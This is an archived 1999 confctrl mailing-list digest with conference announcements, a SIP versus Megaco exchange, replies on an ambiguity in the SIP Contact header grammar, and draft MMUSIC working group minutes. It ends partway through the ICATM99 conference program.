	for <confctrl@isi.edu>; Wed, 31 Mar 1999 04:28:09 -0800 (PST)
Received: from surfcity.research.att.com (surfcity.research.att.com [135.207.128.5])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id C07CE4CE14; Wed, 31 Mar 1999 07:28:08 -0500 (EST)
Received: from pcbasso.research.att.com (nsl-dialup6.research.att.com [135.207.140.133])
	by surfcity.research.att.com (8.8.7/8.8.7) with SMTP id HAA00760;
	Wed, 31 Mar 1999 07:28:00 -0500 (EST)
Message-ID: <007a01be7b71$ee425cc0$858ccf87@pcbasso.research.att.com>
Reply-To: "Andrea Basso" <basso@research.att.com>
From: "Andrea Basso" <basso@research.att.com>
To: <mp4-sys@fzi.de>, <gen-sys@fzi.de>, <confctrl@ISI.EDU>, <rem-conf@es.net>
Subject: Packet Video '99 Workshop - New York 26-27 April 1999
Date: Wed, 31 Mar 1999 07:27:59 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Registration for the 

       Packet Video '99 Workshop  
New York 26-27 April 1999 is now open.


Please visit

http://www.research.att.com/~mrc/PacketVideo99.html

for more information.


Andrea Basso, AT&T Labs Research
Room 3-219
100 Shultz Drive, Red Bank,NJ 07701
ph:  (732) 345-3302
fax  (732) 345-3033
basso@research.att.com




From confctrl-owner  Wed Mar 31 19:34:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA12093
	for confctrl-outgoing; Wed, 31 Mar 1999 19:34:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA12088
	for <confctrl@zephyr.isi.edu>; Wed, 31 Mar 1999 19:34:53 -0800 (PST)
Received: from smtprtp.nortel.com (smtprtp.NortelNetworks.com [192.122.117.66])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA19437
	for <confctrl@ISI.EDU>; Wed, 31 Mar 1999 19:34:52 -0800 (PST)
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by smtprtp.nortel.com;
          Wed, 31 Mar 1999 22:34:32 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) 
          id <2A0A7TXK>; Wed, 31 Mar 1999 22:34:35 -0500
Message-ID: <C51ED84B6F47D211917A0000F8BCBD1101002295@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE:
Date: Wed, 31 Mar 1999 22:34:20 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
X-Orig: <taylor@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a little hard on the SIP people, who have been labouring for many
years to bring out their protocol.  It's three-month-old Megaco which should
be asked to justify itself.  The key point is that the Megaco protocol is
what is needed to tie together parts of a single media switching point if
they happen to be in separate boxes, whereas SIP is a protocol running
between media switching points AKA gateways and location servers, and user
terminals to coordinate their respective actions in placing a call.

Device control vs. signalling, with channel-associated signalling in the
grey zone between them.

> -----Original Message-----
> From:	Eckert, Christopher [BNRTP:2209-I:EXCH] 
> Sent:	Tuesday, March 30, 1999 2:13 PM
> To:	'confctrl@isi.edu'
> Subject:	
> 
> To Whom It May Concern:
> 
> Please consider writing a white paper or an appendix to the SIP IETF draft
> document outlining 
> the features / functions / benefits that SIP brings to the managed IP
> network that are not
> available in the current Megaco proposals for MGCP evolution and
> standardization.
> 
> Having this material available will help the industry understand, and
> properly react to, these
> two concurrent initiatives that, at a high level, appear to be solving the
> same problem.
> 
> Regards,
> Chris Eckert
> 
> Chris Eckert
> Access Product Advisor
> Nortel Networks, Inc.
> Phone:	(919) 991 - 8303 
> 	ESN 351 - 8303
> Email: 	ceckert@nortelnetworks.com
> 
> 
> 
> 
> 
> 
> 
> 
> 

From confctrl-owner  Thu Apr  1 08:39:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA09590
	for confctrl-outgoing; Thu, 1 Apr 1999 08:39:22 -0800 (PST)
Received: from usmlns02.jax.ecitele.com ([12.27.128.28])
	by zephyr.isi.edu (8.8.7/8.8.6) with SMTP id IAA09585
	for <confctrl@zephyr.isi.edu>; Thu, 1 Apr 1999 08:39:21 -0800 (PST)
From: Jagdeep_Rao@jax.ecitele.com
Received: by usmlns02.jax.ecitele.com(Lotus SMTP MTA Internal build v4.6.2  (651.2 6-10-1998))  id 85256746.005B8146 ; Thu, 1 Apr 1999 11:39:28 -0500
X-Lotus-FromDomain: ECI TELECOM
To: confctrl@ISI.EDU
Message-ID: <85256746.005B8000.00@usmlns02.jax.ecitele.com>
Date: Thu, 1 Apr 1999 11:39:24 -0500
Subject: Lexical indeterminism in SIP grammar.
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I have encountered a case of lexical indeterminism in the SIP grammar. This
was in the
case of the "Contact" parameter (Section 6.13 of draft-ietf-mmusic-sip-12).
As per the EBNF
notation, a legal construct would have been,
Contact = "Contact" ":" SIP-URL *(";" contact-params)
                                           ^^^^^^^^ From addr-spec.
>From Section 2 of the same document, a  valid construct would be
SIP-URL= "sip:" hostport *(";" url-parameter) giving us

Contact= "Contact" ":" "sip:" hostport *(";" url-parameter) *(";"
contact-params)

Cause of the conflict other-param (from url-parameter) and
extension-attribute (from contact-params) which allow String "=" String.

Could someone please explain.

Regards,
Jagdeep Rao.



From confctrl-owner  Thu Apr  1 10:14:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA14605
	for confctrl-outgoing; Thu, 1 Apr 1999 10:14:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA14600
	for <confctrl@zephyr.isi.edu>; Thu, 1 Apr 1999 10:14:03 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA24643
	for <confctrl@ISI.EDU>; Thu, 1 Apr 1999 10:14:02 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id NAA10247;
	Thu, 1 Apr 1999 13:14:02 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id NAA00573;
	Thu, 1 Apr 1999 13:14:01 -0500 (EST)
Message-ID: <3703B768.6000C0A@cs.columbia.edu>
Date: Thu, 01 Apr 1999 13:14:00 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jagdeep_Rao@jax.ecitele.com
CC: confctrl@ISI.EDU
Subject: Re: Lexical indeterminism in SIP grammar.
References: <85256746.005B8000.00@usmlns02.jax.ecitele.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jagdeep_Rao@jax.ecitele.com wrote:
> 
> I have encountered a case of lexical indeterminism in the SIP grammar. This
> was in the
> case of the "Contact" parameter (Section 6.13 of draft-ietf-mmusic-sip-12).
> As per the EBNF
> notation, a legal construct would have been,
> Contact = "Contact" ":" SIP-URL *(";" contact-params)
>                                            ^^^^^^^^ From addr-spec.
> >From Section 2 of the same document, a  valid construct would be
> SIP-URL= "sip:" hostport *(";" url-parameter) giving us
> 
> Contact= "Contact" ":" "sip:" hostport *(";" url-parameter) *(";"
> contact-params)
> 
> Cause of the conflict other-param (from url-parameter) and
> extension-attribute (from contact-params) which allow String "=" String.
> 
> Could someone please explain.

This was discussed earlier and led to a change in the Contact syntax.
See RFC 2543:

  Contact = ( "Contact" | "m" ) ":"
             ("*" | (1# (( name-addr | addr-spec )
             [ *( ";" contact-params ) ] [ comment ] )))


Since URIs can contain
        commas and semicolons as reserved characters, they can be
        mistaken for header or parameter delimiters, respectively.
        The current syntax corresponds to that for the To and From
        header, which also allows the use of display names.

And under the description of From:

   Even if the "display-name" is empty, the "name-addr" form MUST be     
   used if the "addr-spec" contains a comma, question mark, or
   semicolon.



> 
> Regards,
> Jagdeep Rao.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Apr  1 10:28:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA15530
	for confctrl-outgoing; Thu, 1 Apr 1999 10:28:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA15523
	for <confctrl@zephyr.isi.edu>; Thu, 1 Apr 1999 10:28:45 -0800 (PST)
Received: from internal.mediatrix.com ([205.237.248.36])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA26100
	for <confctrl@ISI.EDU>; Thu, 1 Apr 1999 10:28:43 -0800 (PST)
Received: by INTERNAL with Internet Mail Service (5.5.2232.9)
	id <H3VGZWTS>; Thu, 1 Apr 1999 13:30:35 -0500
Message-ID: <F16674FCE856D211AC0D00E02910AE0AD92A@INTERNAL>
From: Eric Tremblay <etremblay@mediatrix.com>
To: "'Jagdeep_Rao@jax.ecitele.com'" <Jagdeep_Rao@jax.ecitele.com>,
        confctrl@ISI.EDU
Cc: ML_SIP <ML_SIP@mediatrix.com>
Subject: RE: Lexical indeterminism in SIP grammar.
Date: Thu, 1 Apr 1999 13:30:33 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jagdeep,

If I understand your problem correctly, it *was* solved by a comment found
at the end of section 6.13 in the last *DRAFT* but the solution was removed
from the RFC. (why?)

The comment found in the draft was the following:
   Even if the "display-name" is empty, the "name-addr" form MUST be
   used if the "addr-spec" contains a comma, question mark, or
   semicolon.

This same comment can be found in section 6.37 in the RFC.

I guess the authors will have to clarify this point...

Eric

Eric Tremblay, ing. stag.
------------------------------
Mediatrix Telecom
email: etremblay@mediatrix.com
Tel: +1(819)829-8749 ext. 238
Web: www.mediatrix.com 

-----Original Message-----
From: Jagdeep_Rao@jax.ecitele.com [mailto:Jagdeep_Rao@jax.ecitele.com]
Sent: Thursday, April 01, 1999 11:39 AM
To: confctrl@ISI.EDU
Subject: Lexical indeterminism in SIP grammar.



I have encountered a case of lexical indeterminism in the SIP grammar. This
was in the
case of the "Contact" parameter (Section 6.13 of draft-ietf-mmusic-sip-12).
As per the EBNF
notation, a legal construct would have been,
Contact = "Contact" ":" SIP-URL *(";" contact-params)
                                           ^^^^^^^^ From addr-spec.
>From Section 2 of the same document, a  valid construct would be
SIP-URL= "sip:" hostport *(";" url-parameter) giving us

Contact= "Contact" ":" "sip:" hostport *(";" url-parameter) *(";"
contact-params)

Cause of the conflict other-param (from url-parameter) and
extension-attribute (from contact-params) which allow String "=" String.

Could someone please explain.

Regards,
Jagdeep Rao.


From confctrl-owner  Thu Apr  1 10:50:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA16808
	for confctrl-outgoing; Thu, 1 Apr 1999 10:50:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA16803
	for <confctrl@zephyr.isi.edu>; Thu, 1 Apr 1999 10:50:06 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA28094
	for <confctrl@isi.edu>; Thu, 1 Apr 1999 10:50:05 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Apr  1 13:49:27 EST 1999
Received: from dnrc.bell-labs.com (igorspc [135.180.130.146])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id NAA03285;
	Thu, 1 Apr 1999 13:46:56 -0500 (EST)
Message-ID: <3703BFAE.7B38B642@dnrc.bell-labs.com>
Date: Thu, 01 Apr 1999 13:49:18 -0500
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Organization: Bell Labs
X-Mailer: Mozilla 4.04 [en] (WinNT; U)
MIME-Version: 1.0
To: Jagdeep_Rao@jax.ecitele.com
CC: confctrl@ISI.EDU
Subject: Re: Lexical indeterminism in SIP grammar.
References: <85256746.005B8000.00@usmlns02.jax.ecitele.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

It looks like several lines in that section were somehow omitted when
converting to text RFC. Here is a quote from
draft-ietf-mmusic-sip-12.txt/ps:

Even if the "display-name" is empty, the "name-addr" form MUST be used
if the "addr-spec" contains a comma, semicolon or question mark.

This eliminates the ambiguity by requiring the use of name-addr form if
SIP-URI contains any parameters.

---
Igor Slepchin


Jagdeep_Rao@jax.ecitele.com wrote:
> 
> I have encountered a case of lexical indeterminism in the SIP grammar. This
> was in the
> case of the "Contact" parameter (Section 6.13 of draft-ietf-mmusic-sip-12).
> As per the EBNF
> notation, a legal construct would have been,
> Contact = "Contact" ":" SIP-URL *(";" contact-params)
>                                            ^^^^^^^^ From addr-spec.
> >From Section 2 of the same document, a  valid construct would be
> SIP-URL= "sip:" hostport *(";" url-parameter) giving us
> 
> Contact= "Contact" ":" "sip:" hostport *(";" url-parameter) *(";"
> contact-params)
> 
> Cause of the conflict other-param (from url-parameter) and
> extension-attribute (from contact-params) which allow String "=" String.
> 
> Could someone please explain.
> 
> Regards,
> Jagdeep Rao.

From confctrl-owner  Sun Apr  4 13:23:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA10456
	for confctrl-outgoing; Sun, 4 Apr 1999 13:23:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA10451
	for <confctrl@zephyr.isi.edu>; Sun, 4 Apr 1999 13:23:21 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA15529
	for <confctrl@isi.edu>; Sun, 4 Apr 1999 13:23:19 -0700 (PDT)
Received: from ruin.informatik.uni-bremen.de (ruin.informatik.uni-bremen.de [134.102.224.52])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with ESMTP id WAA01009;
	Sun, 4 Apr 1999 22:23:11 +0200 (MET DST)
From: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
Received: (from jo@localhost)
	by ruin.informatik.uni-bremen.de (8.8.8+Sun/8.8.7) id WAA20792;
	Sun, 4 Apr 1999 22:22:42 +0200 (MET DST)
Message-Id: <199904042022.WAA20792@ruin.informatik.uni-bremen.de>
Subject: Draft MMUSIC Minutes
To: confctrl@ISI.EDU
Date: Sun, 4 Apr 1999 22:22:41 +0200 (MET DST)
Cc: mjh@aciri.org, schooler@cs.caltech.edu, rlang@std.sri.com,
        jo@Informatik.Uni-Bremen.DE (Joerg Ott)
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

please find attached the draft minutes for the MMUSIC WG meeting in
Minneapolis.  Please send comments in asap.

Ruth, Eve, Mark, and Joerg

---------------------------------------------------------------------------

Draft Minutes of the MMUSIC WG
==============================

Reported by Mark Handley and Joerg Ott

The authors would like to thank to Colin Perkins for the notes.

The MMUSIC WG met once at the 44th IETF, on Wednesday morning 9.00-11.30.
Jorrg Ott briefly introduced the agenda for the meeting, virtually all
items relating to the SIP specification itself and to extenions to it.
The meeting agenda was set up to allow for high bandwidth discussion of
the major issues that surfaced on the mailing list since the last IETF.
Mark Handley briefly reported that SIP was now published as RFC 2543
and it was augmented that the formal SIP bakeoff is scheduled to
happen on 8/9 April 1999 at Columbia University, New York.

Jonathan Rosenberg introduced the concept of caller preferences for
SIP-based calls.  Caller preferences constitute one component of the
earlier SIP call control I-D that has been split up.  Caller
preferences allow a caller to indicate preferences where and how to
reach a callee (e.g. location, media types, etc.), control proxy
behavior (forking or not, etc.).  However, they are only hints to a
callee's proxy that may but need not be followed.  While a callee's
preferences are conveyed to the SIP proxy in the REGISTER message,
caller preferences only apply to a certain call and hence should be
passed in the INVITE message for this particular call.  There was
significant interest in the group to take this up as an MMUSIC work
item.

Steven Donovan introduced the various SIP issues that came up on the
mailing list since the last IETF.  SIP session timers are found to be
needed to allow removal of per-call state in stateful proxies in
special cases of call termination (e.g. no BYE sent, BYE lost,
endpoint crashed).  A calling endpoint would include a timout for the
call state in its INVITE message and subsequently extend this timeout
if it is about to expire before the call terminates.  There was
substantial discussion but no final conclusion could be reached and so
this issue will be taken to the mailing list.

A second issue is the proposal to add a new method to SIP called
"INFO" to allow carrying ISUP payloads transparently across an IP
network.  This provoked controversial discussion with very different
viewpoints: Some considered this to make use of SIP as a transport;
instead, SIP should be used to indicate the presence of a separate
transport as defined by the SIGTRAN WG.  Others felt that SIP
delivering a bag of bits transparently through an IP network may cause
interoperability problems at the edges (since different dialects of
ISUP do exist); the gateways should rather (partially) interpret the
contents of the ISUP messages (which may be required for some ISUP
functions anyway) and transcode parts of the ISUP messages into SIP
messages.  Such as extension of SIP, however, might gradually turn SIP
into a telephony-specific call/conference control protocol rather than
a protocol for setup and teardown -- which would probably be the task
of a different protocol.  The issue was not revolved during the
meeting and hence this discussion needs to be continued on the mailing
list.

A third problem identified is how to allow for voice feedback from a
(PSTN) gateway to be propagated to a SIP endpoint before the "200 OK"
response is received.  Various proposals have been made on the list
which were discussed at the meeting.  The one presented during the
meeting was sending a 183 response to include a temporary SDP
description of the media source so that media streams can start
flowing.  An alternative proposed on the list was a nested INVITE from
the callee's side (more precisely: the entity initiating transmission
of media streams prior to 200 OK) back to the caller to create a
temporary second session used only for this (audible) feedback.  No
conlusion was reached during the meeting; discussion will continue to
be discussed on the list.

Finally, a specific multipart encapsulation message format for SIP
message bodies was proposed to include an SDP description, an ISUP
message part, and e-commerce information -- all of which are optional.
It was commonly found that no specific multipart format should be
prescribed and rather the generic multipart message format should be
used in order not to restrict future extensibility.  This rather new
item will also require further discussion on the mailing list.

Jonathan Lennox gave a brief presentation on the usage of SIP as
transport for scripts of the Call Processing Language (CPL).  In the
meeting of the IPTEL WG a day earlier, it was found that it is not
up to IPTEL to define how to carry CPL scripts in any possible transport
but rather that the precise mechanism should be left up to the group
responsible for designing the transport itself.  This was primarily
a heads up presentation for a possible new work item.

Finally, the working groups chairs proposed their view on how to deal
with SIP-related issues in the context of the MMUSIC WG: generic SIP
mechanisms as well as revision/extensions/corrections of the base SIP
spec are supposed to be included in MMUSIC while applications of SIP
(such as the PINT profile) are out of scope.  A borderline case
constitutes IP telepony and related specifications.  In any case, the
MMUSIC WG will decide on a per case basis in consultation with the ADs
whether or not to take up certain tasks, but the aforementioned
principles will serve as guidelines.

With respect to the future evolution of the Session Announcement
Protocol (SAP), Mark pointed out that Colin Perkins from University
College London (UCL) joined the team of editors.



From confctrl-owner  Mon Apr  5 14:44:01 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA28136
	for confctrl-outgoing; Mon, 5 Apr 1999 14:44:01 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA28131
	for <confctrl@zephyr.isi.edu>; Mon, 5 Apr 1999 14:44:00 -0700 (PDT)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA04718
	for <confctrl@ISI.EDU>; Mon, 5 Apr 1999 14:43:59 -0700 (PDT)
Received: from omss5.mcit.com (omss5-fddi.mcit.com [166.37.204.27])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id VAA07004; Mon, 5 Apr 1999 21:43:17 GMT
Received: from dwillispc ([166.35.226.58]) by omss5.mcit.com
          (InterMail v03.02.05 118 120) with SMTP
          id <19990405214300.NPYI24719@[166.35.226.58]>;
          Mon, 5 Apr 1999 16:43:00 -0500
From: "Dean Willis" <dean.willis@mci.com>
To: "Joerg Ott" <jo@Informatik.Uni-Bremen.DE>, <confctrl@ISI.EDU>
Subject: RE: Draft MMUSIC Minutes
Date: Mon, 5 Apr 1999 16:40:47 -0500
Message-ID: <000801be7fac$f742b880$a420fea9@dwillispc.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
In-Reply-To: <199904042022.WAA20792@ruin.informatik.uni-bremen.de>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Excellent minutes, Joerg. Good work.

One minor contention:


> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Joerg Ott
> Sent: Sunday, April 04, 1999 3:23 PM
> To: confctrl@ISI.EDU
> Cc: mjh@aciri.org; schooler@cs.caltech.edu; rlang@std.sri.com; Joerg Ott
. . . .
> A second issue is the proposal to add a new method to SIP called
> "INFO" to allow carrying ISUP payloads transparently across an IP
> network.  This provoked controversial discussion with very different
> viewpoints: Some considered this to make use of SIP as a transport;
> instead, SIP should be used to indicate the presence of a separate
> transport as defined by the SIGTRAN WG.  Others felt that SIP
> delivering a bag of bits transparently through an IP network may cause
> interoperability problems at the edges (since different dialects of
> ISUP do exist); the gateways should rather (partially) interpret the
> contents of the ISUP messages (which may be required for some ISUP
> functions anyway) and transcode parts of the ISUP messages into SIP
> messages.  Such as extension of SIP, however, might gradually turn SIP
> into a telephony-specific call/conference control protocol rather than
> a protocol for setup and teardown -- which would probably be the task
> of a different protocol.  The issue was not revolved during the
> meeting and hence this discussion needs to be continued on the mailing
> list.

The INFO method is intended not to support ISUP, but is intended as a
general mechanism for doing mid-call signaling that does not involve a
parameter change (as would be handled by a new INVITE). This is the same
problem as was diccussed previously in the context of SUBSCRIBE/NOTIFY
methods. Trasnporting mid-call ISUP messages is just one application of an
INFO or NOTIFY method.

I suspect that the group bogged down on the example that Steve used to
demonstrate the INFO concept (ISUP), not on the general requirement for
mid-call messaging. As recent discussion in PINT and otherwhere indicates,
mid-call signaling is useful in many scenarios.

--
Dean


From confctrl-owner  Wed Apr  7 03:37:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA20280
	for confctrl-outgoing; Wed, 7 Apr 1999 03:37:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA20275
	for <confctrl@zephyr.isi.edu>; Wed, 7 Apr 1999 03:37:44 -0700 (PDT)
Received: from nscolmar.colmar.uha.fr (nscolmar.colmar.uha.fr [194.167.108.34])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id DAA22539
	for <confctrl@isi.edu>; Wed, 7 Apr 1999 03:35:07 -0700 (PDT)
Received: by nscolmar.colmar.uha.fr; (5.65v3.2/1.3/10May95) id AA26679; Wed, 7 Apr 1999 11:00:03 +0200
Received: from somewhere by smtpxd
Message-Id: <3.0.5.32.19990407111637.007af100@colmar.colmar.uha.fr>
X-Sender: conf@colmar.colmar.uha.fr
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Date: Wed, 07 Apr 1999 11:16:37 +0200
To: conf@colmar.colmar.uha.fr
From: Conf ICATM99 <conf@colmar.uha.fr>
Subject: ICATM99 - Preliminary Program
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id DAA20276
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Please feel free to circulate this following preliminary program of ICATM99
to interested colleagues (see http://iutsun1.colmar.uha.fr/ICATM99.html for
more information). 
Accept our sincere apologies if you receive multiple copies.

------------------------------------------------------------------

TECHNICAL PROGRAM

08:00 - 18:00 Conference Registration

Monday June 21

08:30 - 09:00	Opening Address 

09:00 - 10:00 Tutorial Session 1
Chair: M. Lee

Mobile and Wireless ATM Networks - Third Generation Systems (UMTS/IMT2000)
G. Omiyar, GTE Telecom, Egypt

10:00 - 10:30 Coffee Break

10:30 - 11:30 Tutorial Session 2
Chair: S. Rao

Rich VPNs: the Best win-win Deal between a Carrier and its Customers
S. Ritzenthaler, Newbridge, France

11:30 - 12:30 Tutorial Session 3
Chair: J. Crowcroft

Implementing Ipv6 over ATM
M. Souissi, F. Dupont, B. Leroy, INRIA Rocquencourt, France

12:30 - 14:00 Lunch - Restaurant Universitaire

14:00 - 15:30 Wireless ATM 1
Chair: G.S. Kuo

A Hybrid Data/Header Interleaving Strategy for Wireless ATM Networks
S.T. Sheu, T.F. Sheu, TamKang University, China

A Deadlock Model for a Multi-Service Medium access Protocol Employing
Multi-Slot N-ARY Stack Algorithm (MSSTART)
F. Cameron, M. Zukerman, University of Melbourne, Australia

Optimal DLC Protocol Configuration for Realistic Broadband Fixed Wireless
Access Networks based on ATM
S. Mangold, Aachen University of Technology, Germany

14:00 - 15:30 Flow Control in ATM: ABR 1
Chair: P. Rolin

Guaranteeing Fairness and Protection in ABR by Means of Fair Queuing
L.A. Guijarro, J.R. Vidal, J.Martinez, University of Valencia, Spain

Fluid Analysis of a TCP Connection over ABR, in Presence of Exogenous Flow
J.L. Costeux, CNET, France

Bidirectional ABR Mechanism
P. Homan, J. Bester, University of Ljubljana, Slovenia

15:30 - 15:45 Coffee Break

15:45 - 17:15 Wireless ATM 2
Chair: G. Omidyar

Routing Protocols for Wireless Ad hoc ATM Networks
A. Hettich, A. Kadelka, H. Kukulies, Aachen University of Technology, Germany

Hand-Off and Synchronization Protocol for Supporting Multimedia
Communications in an ATM based Wireless Network
A. Leon, M. Esteve, J.C. Guerri, C. Palau, A. Pajares, Polytechnic
University of Valencia, Spain

A Flexible Signaling Protocol for Supporting Switched AAL Type 2
Connections in UMTS Terrestrial Radio Access Networks
I.. Szabo, Ericsson, Hungary

15:45 - 17:15 Flow Control in ATM: ABR 2
Chair: G. Pujolle

Evaluation of the Virtual Source/Virtual Destination-Technique for
Available Bit Rate Traffic in ATM-Networks
J. Baalmann, C. Cseh, University of Technology Aachen, Germany

ABR Rate Control for Multimedia Traffic using Microeconomics
E.W. Fulp, D.S. Reeves, North Carolina State University, USA

Evaluation of the TCP Traffic over the ABR Service Targeted to Support Mass
Storage Applications
I. Mountzouris, G. Orphanos, A. Birbas, S. Koubias, G. Papadopoulos,
University of Patras, Greece

17:15 - 17:30 Coffee Break

17:30 - 19:00 Management
Chair: S. Rao

Model-Based-Diagnosis for Fault Management in ATM Networks
F. Krief, A. Osmani, Institut Galilée, France

A Model of Fault Messages for Maintenance of UNI/NNI Resources in HANbit
ACE64 ATM Switching System
G. Kwon, ETRI, Korea

Dynamic Management of Routing Tables and Connection Re-routing in ATM Networks
S. Kumar, S.V. Raghavan, Indian Institute of Technology Madras, India


17:30 - 19:00 Multicast
Chair: J.J. Pansiot

Compound VC Mechanism for native Multicast in ATM Networks
J. Mangues-Bafalluy, J. Domingo-Pascual, Polytechnic University of
Catalunya, Spain

IPv6 Multicasting over ATM Testbed
J.S. Silva, N. Veiga, S. Duarte, F. Boavida, University of Coimbra, Portugal

Design and Analysis of Multicast Delivery to Provide VCR Functionality in
Video-on Demand Systems
W. Poo, K.T. Lo, The Hong Kong Polytechnic University, Hong Kong ; J. Feng,
City University of Hong Kong, Hong Kong


Tuesday June 22

09:00 - 10:30 Real-Time Traffic
Chair: M. Dickmann

A Method for Accurate Time Synchronization through In-Service Monitoring in
ATM Networks
D. Vidal, University of the Balearic Islands, Spain

Delay Jitter Guarantee for Real-Time Communications with ATM Network
Z. Mammeri, University Paul Sabatier, France

Hierarchical Vector Clock: Scalable Plausible Clock for Detecting Causality
in Large Distributed Systems
D.A. Khotimsky, Lucent Technologies, USA ; I.A. Zhuklinets, Mozhaysky
Academy, Russia

09:00 - 10:30 IP over ATM 1
Chair: G. Girardi

Shortcutting IP Flows over Large ATM Networks
J. Schmitt, L. Wolf, M. Karsten, R. Steinmetz, Darmstadt University of
Technology, Germany ; Y.O. Lorcy, C. Siebel, Deutsche Telekom, Germany

Measurement-Based Simulation Model for TCP over ATM
